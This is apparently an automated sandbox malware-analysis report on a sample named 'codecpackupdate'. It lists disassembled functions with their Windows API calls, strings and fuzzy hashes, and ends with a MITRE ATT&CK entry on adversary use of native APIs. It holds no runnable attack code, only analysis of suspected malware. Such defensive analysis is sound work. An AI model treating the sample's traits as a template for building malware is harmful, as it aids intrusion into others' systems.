API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: f1627a2a55ce47f9aa07c8d5ad9233b878bf73ad84f17d161bdcf08d4cdf6407
Instruction ID: 6920d7bac4824e26bf36a071a7a11ccce81146912950c65335b210f56ee38c43
Opcode Fuzzy Hash: f1627a2a55ce47f9aa07c8d5ad9233b878bf73ad84f17d161bdcf08d4cdf6407
Instruction Fuzzy Hash: B431AC3160424AAFDB318F69E884AAA7BB9BF41310F154179F864A79E1E730A851DB90

Uniqueness

Uniqueness Score: -1.00%

Function 009F3D7E Relevance: 6.1, APIs: 4, Instructions: 57networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(?), ref: 009F3DA2

Part of subcall function 009F3BD3: __EH_prolog.LIBCMT ref: 009F3BD8
Part of subcall function 009F3BD3: std::bad_exception::bad_exception.LIBCMT ref: 009F3BED

htonl.WS2_32(00000000), ref: 009F3DB9
htonl.WS2_32(00000000), ref: 009F3DC0
htons.WS2_32(?), ref: 009F3DD4

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: htonlhtons$H_prologstd::bad_exception::bad_exception
String ID:
API String ID: 3882411702-0
Opcode ID: dacdbaf7652941782d8d2f48bf5f44902e137a1528ccc59faf8f0b08d9dc1419
Instruction ID: 9bb13a8ae143e5fc9d46e376b6319e64a18f4049abdc587adb48074add695cd0
Opcode Fuzzy Hash: dacdbaf7652941782d8d2f48bf5f44902e137a1528ccc59faf8f0b08d9dc1419
Instruction Fuzzy Hash: 7B118E35604209EFDF01DFA4D885AAAB7B8EF49310F00C456FD04DF251E6719A15C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 009F239D Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

PostQueuedCompletionStatus.KERNEL32(?,00000000,00000000), ref: 009F23D0
RtlEnterCriticalSection.NTDLL(?), ref: 009F23DE
InterlockedExchange.KERNEL32(?,00000001), ref: 009F2401
RtlLeaveCriticalSection.NTDLL(?), ref: 009F2408

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: CriticalSection$CompletionEnterExchangeInterlockedLeavePostQueuedStatus
String ID:
API String ID: 4018804020-0
Opcode ID: c1679828f12927259116af1bf0f410610bd20a8b0d0a4e4134ab493dd7615d99
Instruction ID: d2c349871b04428a83ab2b76d3cbd22c9e5640e7afc94e2aebfd0edf6d5938ed
Opcode Fuzzy Hash: c1679828f12927259116af1bf0f410610bd20a8b0d0a4e4134ab493dd7615d99
Instruction Fuzzy Hash: C9118E71600309ABDB10DFA0D984BBABBB9FF54715F10806DFA019B150E7B5ED42CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00A0BC6D Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 00A0BC84

Part of subcall function 00A0C29B: ___AdjustPointer.LIBCMT ref: 00A0C2E4

_UnwindNestedFrames.LIBCMT ref: 00A0BC9B
___FrameUnwindToState.LIBCMT ref: 00A0BCAD
CallCatchBlock.LIBCMT ref: 00A0BCD1

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
String ID:
API String ID: 2633735394-0
Opcode ID: bf7e6a2e7c15418c5902c0973dae014681d9a77571f4c99d076f4f289f483f1c
Instruction ID: ba6cb13518905cd368df5ebb8e1aa462a1ca39d3120d45883cc5a390bef19151
Opcode Fuzzy Hash: bf7e6a2e7c15418c5902c0973dae014681d9a77571f4c99d076f4f289f483f1c
Instruction Fuzzy Hash: 2001133200010DFBDF126F95EE05EDA3BBAFF4D754F144114FA1866160D732E8A1ABA0

Uniqueness

Uniqueness Score: -1.00%

Function 00A0C77B Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00A0C79F

Part of subcall function 00A0CE86: __fltout2.LIBCMT ref: 00A0CEAF

__cftog_l.LIBCMT ref: 00A0C7C5
__cftoe_l.LIBCMT ref: 00A0C7F7

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: 0e2e55721218e754ba09281cd1d16a2d10b65982a381721811424d94000a2eeb
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: 65011C7200014EBBCF126F84EC818EE3F76BB1C364B588615FA1899171D736C9B1AF81

Uniqueness

Uniqueness Score: -1.00%

Function 009F247D Relevance: 6.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

PostQueuedCompletionStatus.KERNEL32(?,00000000,00000002,?), ref: 009F24A9
RtlEnterCriticalSection.NTDLL(?), ref: 009F24B8
InterlockedExchange.KERNEL32(?,00000001), ref: 009F24CD
RtlLeaveCriticalSection.NTDLL(?), ref: 009F24D4

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: CriticalSection$CompletionEnterExchangeInterlockedLeavePostQueuedStatus
String ID:
API String ID: 4018804020-0
Opcode ID: 9de31386b93d06fd3510af487d68b7914b285347438d9de336d09c86038ebbc6
Instruction ID: 05126bf315fc3de9b666d203431d27ac4f9204f745f7f6dee6a21df540db330c
Opcode Fuzzy Hash: 9de31386b93d06fd3510af487d68b7914b285347438d9de336d09c86038ebbc6
Instruction Fuzzy Hash: A7F03C72204209AFDB00DFA9EC45F9ABBBCFF49711F008019FA05C7151D771E9518BA0

Uniqueness

Uniqueness Score: -1.00%

Function 009F2004 Relevance: 6.0, APIs: 4, Instructions: 35COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 009F2009
RtlDeleteCriticalSection.NTDLL(?), ref: 009F2028
CloseHandle.KERNEL32(00000000), ref: 009F2037
CloseHandle.KERNEL32(00000000), ref: 009F204E

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: CloseHandle$CriticalDeleteH_prologSection
String ID:
API String ID: 2456309408-0
Opcode ID: 48e50df62f72530a397d4918316017178ca1b576093bf96262e6a92601334b7f
Instruction ID: ebd51eb8b4fcd43a754d22be5a62d6bf261a16cf1fbe6821b6cf7cc4671e082e
Opcode Fuzzy Hash: 48e50df62f72530a397d4918316017178ca1b576093bf96262e6a92601334b7f
Instruction Fuzzy Hash: 81018172404708DBC728EFA4E9097EABBF8FF08744F04496DF546925A0CBB56945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 009F1E26 Relevance: 6.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 009F1E2B
SetEvent.KERNEL32(00000000), ref: 009F1E3F
SetEvent.KERNEL32(?), ref: 009F1E58
SleepEx.KERNEL32(000000FF,00000001), ref: 009F1E62

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: Event$H_prologSleep
String ID:
API String ID: 1765829285-0
Opcode ID: 1fc2f14dd42b78f908443e5bee3db9d0b464cb7ea422af90c8f63acddd682d4a
Instruction ID: d01c02376367c48ac38f6d46b5680daf2fdf91e8814bd259909990c726f44505
Opcode Fuzzy Hash: 1fc2f14dd42b78f908443e5bee3db9d0b464cb7ea422af90c8f63acddd682d4a
Instruction Fuzzy Hash: BEF03A36644610EFCB00DFA4D888BCCBBB4FF4D322F1081A9FA1A9B291C7759944CB61

Uniqueness

Uniqueness Score: -1.00%

Function 009F9E88 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 179COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 009F9E8D
_memmove.LIBCMT ref: 009F9F87

Strings

&', xrefs: 009F9F6E

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: H_prolog_memmove
String ID: &'
API String ID: 3529519853-655172784
Opcode ID: 5d817f85562cd40d888fa1608dbfa007592d4ee99194438b3fd68e83e969d790
Instruction ID: e3549079a185746594a2fcc50cf39d6a16ebc65a3040d5fe24098bc9719c41eb
Opcode Fuzzy Hash: 5d817f85562cd40d888fa1608dbfa007592d4ee99194438b3fd68e83e969d790
Instruction Fuzzy Hash: 9E616D71D0021DDFDF20DFA4C981BEEBBB9AF84310F14416AE615AB191DB709E45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 004056B6 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 124COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,00000000), ref: 004056CA

Strings

, xrefs: 004056EF
, xrefs: 00405713

Memory Dump Source

Source File: 00000003.00000002.2867652941.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2867652941.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_codecpackupdate.jbxd

Similarity

API ID: Info
String ID: $
API String ID: 1807457897-3032137957
Opcode ID: cf78403d1ad84891bd07750a5396902b39d4e3a867152e43ede0f354584f907c
Instruction ID: 09f2f023d99f136d6c1d54f1ac7197ff319f79a86c6e1a8e0271cc1bcc75f35e
Opcode Fuzzy Hash: cf78403d1ad84891bd07750a5396902b39d4e3a867152e43ede0f354584f907c
Instruction Fuzzy Hash: 474156310047586AEB15D614DE5DBFB7FA9EB02700F1400F6E946F71D2C2790924DFAA

Uniqueness

Uniqueness Score: -1.00%

Function 009F959C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 78networkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(00000000,?,?,?,?,?,?,?,009F8306,?,?,00000000), ref: 009F9603
getsockname.WS2_32(?,?,?), ref: 009F9619

Strings

&', xrefs: 009F964C

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: ErrorLastgetsockname
String ID: &'
API String ID: 566540725-655172784
Opcode ID: c3cba1759fe51b055d5a5b5be311e9bffc557db33e81f6e710bd545b356126a5
Instruction ID: ea05416dc2fe7bf5606affba7a4f4e27d78baaf38aff725df006844262fd4975
Opcode Fuzzy Hash: c3cba1759fe51b055d5a5b5be311e9bffc557db33e81f6e710bd545b356126a5
Instruction Fuzzy Hash: 9F2151B6A04208DFDB10DF68D845ADEB7F5FF4C324F11816AF918EB281D734A9458B90

Uniqueness

Uniqueness Score: -1.00%

Function 009FCBE2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 009FCBE7

Part of subcall function 009FD1C3: std::exception::exception.LIBCMT ref: 009FD1F2

Part of subcall function 009FD979: __EH_prolog.LIBCMT ref: 009FD97E

Part of subcall function 00A03A8F: _malloc.LIBCMT ref: 00A03AA7

Part of subcall function 009FD222: __EH_prolog.LIBCMT ref: 009FD227

Strings

C:\boost_1_55_0\staging\include\boost-1_55\boost/exception/detail/exception_ptr.hpp, xrefs: 009FCC24
class boost::exception_ptr __cdecl boost::exception_detail::get_static_exception_object<struct boost::exception_detail::bad_alloc_>(void), xrefs: 009FCC1D

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: H_prolog$_mallocstd::exception::exception
String ID: C:\boost_1_55_0\staging\include\boost-1_55\boost/exception/detail/exception_ptr.hpp$class boost::exception_ptr __cdecl boost::exception_detail::get_static_exception_object<struct boost::exception_detail::bad_alloc_>(void)
API String ID: 1953324306-1943798000
Opcode ID: 836d7793ae79bc07347c09127427de6f824681edda1d4f6186481f4a72d55f3c
Instruction ID: d300f6f8d0049d4f50e2d4434b0ababc3509f870f155d1cd1feea58348aabf67
Opcode Fuzzy Hash: 836d7793ae79bc07347c09127427de6f824681edda1d4f6186481f4a72d55f3c
Instruction Fuzzy Hash: A221CC71E0621CEADB14EBE8E955BFDBBB8AF54304F00401DF905AB281CB745A85CB51

Uniqueness

Uniqueness Score: -1.00%

Function 009FCCD7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 009FCCDC

Part of subcall function 009FD29A: std::exception::exception.LIBCMT ref: 009FD2C7

Part of subcall function 009FDAB0: __EH_prolog.LIBCMT ref: 009FDAB5

Part of subcall function 00A03A8F: _malloc.LIBCMT ref: 00A03AA7

Part of subcall function 009FD2F7: __EH_prolog.LIBCMT ref: 009FD2FC

Strings

C:\boost_1_55_0\staging\include\boost-1_55\boost/exception/detail/exception_ptr.hpp, xrefs: 009FCD19
class boost::exception_ptr __cdecl boost::exception_detail::get_static_exception_object<struct boost::exception_detail::bad_exception_>(void), xrefs: 009FCD12

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: H_prolog$_mallocstd::exception::exception
String ID: C:\boost_1_55_0\staging\include\boost-1_55\boost/exception/detail/exception_ptr.hpp$class boost::exception_ptr __cdecl boost::exception_detail::get_static_exception_object<struct boost::exception_detail::bad_exception_>(void)
API String ID: 1953324306-412195191
Opcode ID: 572be9ed19b01ccd30b0b89c9bd83918a22b60b802ddfc51126138686f59cc6b
Instruction ID: 33ba2f176dfec6b041bf34ad6ab784507167575642c8428f6a9fab1cb2c6441b
Opcode Fuzzy Hash: 572be9ed19b01ccd30b0b89c9bd83918a22b60b802ddfc51126138686f59cc6b
Instruction Fuzzy Hash: 4B218D71D052589ADB14EFE8D851BFDBBB8EF54300F00412DFA05AB291DBB49A45C791

Uniqueness

Uniqueness Score: -1.00%

Function 009F534D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 009F535D

Part of subcall function 00A02EEC: __FF_MSGBANNER.LIBCMT ref: 00A02F03
Part of subcall function 00A02EEC: __NMSG_WRITE.LIBCMT ref: 00A02F0A
Part of subcall function 00A02EEC: RtlAllocateHeap.NTDLL(008F0000,00000000,00000001), ref: 00A02F2F

SHGetSpecialFolderPathA.SHELL32(00000000,00000000,00000023,00000000), ref: 009F536F

Strings

\save.dat, xrefs: 009F5383

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: AllocateFolderHeapPathSpecial_malloc
String ID: \save.dat
API String ID: 4128168839-3580179773
Opcode ID: 6f7a8a38876fd0d215adc97b331dfd8e740ac3859c91477e3e4c830bcf2377a8
Instruction ID: 5445d399280768d5c660155a135afde97bdf17fdfdac98cecaad80d709d2af7e
Opcode Fuzzy Hash: 6f7a8a38876fd0d215adc97b331dfd8e740ac3859c91477e3e4c830bcf2377a8
Instruction Fuzzy Hash: ED117D325042487BDF218E699C819AFFF6FDF82790B1542A8F94467242D6E30D02C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 009F3965 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 009F396A
std::runtime_error::runtime_error.LIBCPMT ref: 009F39C1

Part of subcall function 009F1410: std::exception::exception.LIBCMT ref: 009F1428

Part of subcall function 009FA551: __EH_prolog.LIBCMT ref: 009FA556
Part of subcall function 009FA551: Concurrency::cancellation_token::_FromImpl.LIBCPMT ref: 009FA565
Part of subcall function 009FA551: __CxxThrowException@8.LIBCMT ref: 009FA584

Strings

Day of month is not valid for year, xrefs: 009F39AC

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: H_prolog$Concurrency::cancellation_token::_Exception@8FromImplThrowstd::exception::exceptionstd::runtime_error::runtime_error
String ID: Day of month is not valid for year
API String ID: 1404951899-1521898139
Opcode ID: 7bea77ecb473877c3e4b04949e98f3af106f24c00b554a8904ba0c9b2052aac0
Instruction ID: ce790ced31b66ff3d48f2938e2dbb7e70e884109102b68336589f2e6d88b276c
Opcode Fuzzy Hash: 7bea77ecb473877c3e4b04949e98f3af106f24c00b554a8904ba0c9b2052aac0
Instruction Fuzzy Hash: 8501717681420DEACF04EFA4D806AFEB778FF98710F40841AFD14A7250EB758A95C795

Uniqueness

Uniqueness Score: -1.00%

Function 009FB033 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 009FFA4A
__CxxThrowException@8.LIBCMT ref: 009FFA5F

Part of subcall function 00A03A8F: _malloc.LIBCMT ref: 00A03AA7

Strings

bad allocation, xrefs: 009FFA3F

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: Exception@8Throw_mallocstd::exception::exception
String ID: bad allocation
API String ID: 4063778783-2104205924
Opcode ID: 75e771aaf039d619e9075de5eb6bc15319924ae1bdf75b5fd3029ba35536eb9e
Instruction ID: 6c7a8e7296a5ed9fc14d1d713bf58019a3f6f671a6d9e3cc90e28c4d18ccfb77
Opcode Fuzzy Hash: 75e771aaf039d619e9075de5eb6bc15319924ae1bdf75b5fd3029ba35536eb9e
Instruction Fuzzy Hash: D9F0A77060030D6BDF14EFA8DD559FF77ECAB04351B500529BA25E26C1EFB1EA048694

Uniqueness

Uniqueness Score: -1.00%

Function 009F3C16 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 009F3C1B
std::bad_exception::bad_exception.LIBCMT ref: 009F3C30

Part of subcall function 00A023F7: std::exception::exception.LIBCMT ref: 00A02401

Part of subcall function 009FA58A: __EH_prolog.LIBCMT ref: 009FA58F
Part of subcall function 009FA58A: __CxxThrowException@8.LIBCMT ref: 009FA5B8

Strings

bad cast, xrefs: 009F3C28

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: H_prolog$Exception@8Throwstd::bad_exception::bad_exceptionstd::exception::exception
String ID: bad cast
API String ID: 1300498068-3145022300
Opcode ID: 357f8bb49eaf75c18500e56de0787003d7ccd558c8d8040794c72ddda8c25b17
Instruction ID: c5042a009c2449d6f6a298b9cd65f0eec3ea73c6faab030964808159c2e0e71e
Opcode Fuzzy Hash: 357f8bb49eaf75c18500e56de0787003d7ccd558c8d8040794c72ddda8c25b17
Instruction Fuzzy Hash: 71F0A072D00908DBC709EF58E551AEAF774EF95311F10406EFE095B281CB729A56CB91

Uniqueness

Uniqueness Score: -1.00%

Function 009F3881 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 009F3886
std::runtime_error::runtime_error.LIBCPMT ref: 009F38A5

Part of subcall function 009F1410: std::exception::exception.LIBCMT ref: 009F1428

Part of subcall function 009F88BF: _memmove.LIBCMT ref: 009F88DF

Strings

Day of month value is out of range 1..31, xrefs: 009F3894

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: H_prolog_memmovestd::exception::exceptionstd::runtime_error::runtime_error
String ID: Day of month value is out of range 1..31
API String ID: 3258419250-1361117730
Opcode ID: 35148fc60ce893d24b0f9021329d059aa629541476f5546f423ba18c7c8f8a9e
Instruction ID: d1888c46320fa95c9466d318484b8a5ddc342a69f00770ae028b7d4609d20636
Opcode Fuzzy Hash: 35148fc60ce893d24b0f9021329d059aa629541476f5546f423ba18c7c8f8a9e
Instruction Fuzzy Hash: F2E09232E04108EBD714ABA4C812BECB778EB88750F40055AE90177280DBB6198087D5

Uniqueness

Uniqueness Score: -1.00%

Function 009F38CD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 009F38D2
std::runtime_error::runtime_error.LIBCPMT ref: 009F38F1

Part of subcall function 009F1410: std::exception::exception.LIBCMT ref: 009F1428

Part of subcall function 009F88BF: _memmove.LIBCMT ref: 009F88DF

Strings

Year is out of valid range: 1400..10000, xrefs: 009F38E0

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: H_prolog_memmovestd::exception::exceptionstd::runtime_error::runtime_error
String ID: Year is out of valid range: 1400..10000
API String ID: 3258419250-2344417016
Opcode ID: c6bec337283798929ed900c34a8bcdef3bad3c4286181a26c29f694666585424
Instruction ID: 11587acac0498b9dd9eca9ae52137673e98b54e056188e7fd5e50ce12e7ee494
Opcode Fuzzy Hash: c6bec337283798929ed900c34a8bcdef3bad3c4286181a26c29f694666585424
Instruction Fuzzy Hash: 06E09A72E48208ABDB18EBA8C812BECB768EB88750F00055AE94167280DBB61984C795

Uniqueness

Uniqueness Score: -1.00%

Function 009F3919 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 009F391E
std::runtime_error::runtime_error.LIBCPMT ref: 009F393D

Part of subcall function 009F1410: std::exception::exception.LIBCMT ref: 009F1428

Part of subcall function 009F88BF: _memmove.LIBCMT ref: 009F88DF

Strings

Month number is out of range 1..12, xrefs: 009F392C

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: H_prolog_memmovestd::exception::exceptionstd::runtime_error::runtime_error
String ID: Month number is out of range 1..12
API String ID: 3258419250-4198407886
Opcode ID: 01dd4becfdac2483481b733aaa647d12c5a6e42d9393dd8e98b915a53c67605c
Instruction ID: 50de21c6124499a63fbb46b2f4c6245d7a4d7677481398e6c278a031777668f4
Opcode Fuzzy Hash: 01dd4becfdac2483481b733aaa647d12c5a6e42d9393dd8e98b915a53c67605c
Instruction Fuzzy Hash: D1E09A32E08218ABD718BBA8C812BEDB768EB88750F00055AE90167280DBB2298087D5

Uniqueness

Uniqueness Score: -1.00%

Function 009F19C2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 009F19CC
GetLastError.KERNEL32 ref: 009F19D9

Part of subcall function 009F1712: __EH_prolog.LIBCMT ref: 009F1717

Strings

tss, xrefs: 009F19E8

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: AllocErrorH_prologLast
String ID: tss
API String ID: 249634027-1638339373
Opcode ID: d3e348341a44aa134a0d6e05a4e80a2d7e1aab49dbc470021b778a60d2bf4b3c
Instruction ID: bd6e0e0007d195f7be7d0b0baa3b9f13c47d217f604f1aa01114dd511e49c6aa
Opcode Fuzzy Hash: d3e348341a44aa134a0d6e05a4e80a2d7e1aab49dbc470021b778a60d2bf4b3c
Instruction Fuzzy Hash: 34E086319047149BC3007B78EC094DFBBA49A44371F10876AFDBE832D0EA30494187C6

Uniqueness

Uniqueness Score: -1.00%

Function 009F3BD3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 009F3BD8
std::bad_exception::bad_exception.LIBCMT ref: 009F3BED

Part of subcall function 00A023F7: std::exception::exception.LIBCMT ref: 00A02401

Part of subcall function 009FA58A: __EH_prolog.LIBCMT ref: 009FA58F
Part of subcall function 009FA58A: __CxxThrowException@8.LIBCMT ref: 009FA5B8

Strings

bad cast, xrefs: 009F3BE5

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: H_prolog$Exception@8Throwstd::bad_exception::bad_exceptionstd::exception::exception
String ID: bad cast
API String ID: 1300498068-3145022300
Opcode ID: 9798f0f3abe1f87f7fdeb2dad17689a02efbb6fcbe975f865a0aee02a66046e3
Instruction ID: 42bfe73b73e20d68e6eaf3ceaad0a626efe8a46e3b0aa64a55cbc91f9ae943b2
Opcode Fuzzy Hash: 9798f0f3abe1f87f7fdeb2dad17689a02efbb6fcbe975f865a0aee02a66046e3
Instruction Fuzzy Hash: D7E01A71D14508DBC704EFA4E652BBCB774EF94301F008069EA065B2D0DB359A96CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0040395C Relevance: 5.1, APIs: 4, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

HeapReAlloc.KERNEL32(00000000,00000050,?,00000000,00403724,?,?,?,00000100,?,00000000), ref: 00403984
HeapAlloc.KERNEL32(00000008,000041C4,?,00000000,00403724,?,?,?,00000100,?,00000000), ref: 004039B8
VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004,?,00000000,00403724,?,?,?,00000100,?,00000000), ref: 004039D2
HeapFree.KERNEL32(00000000,?,?,00000000,00403724,?,?,?,00000100,?,00000000), ref: 004039E9

Memory Dump Source

Source File: 00000003.00000002.2867652941.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2867652941.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_codecpackupdate.jbxd

Similarity

API ID: AllocHeap$FreeVirtual
String ID:
API String ID: 3499195154-0
Opcode ID: d387fd4f3eab095a78f7bb9c90f865f0c98a2a282a57ddd88524d606926be08d
Instruction ID: ab7933d84ada2b962503ad88361c81f9e178ef349f2d38840b4e325d6782f2f4
Opcode Fuzzy Hash: d387fd4f3eab095a78f7bb9c90f865f0c98a2a282a57ddd88524d606926be08d
Instruction Fuzzy Hash: 3E118F712003019FD7218F29EE459167BF5FB84765711853AF152E71B0C372D961CF1A

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

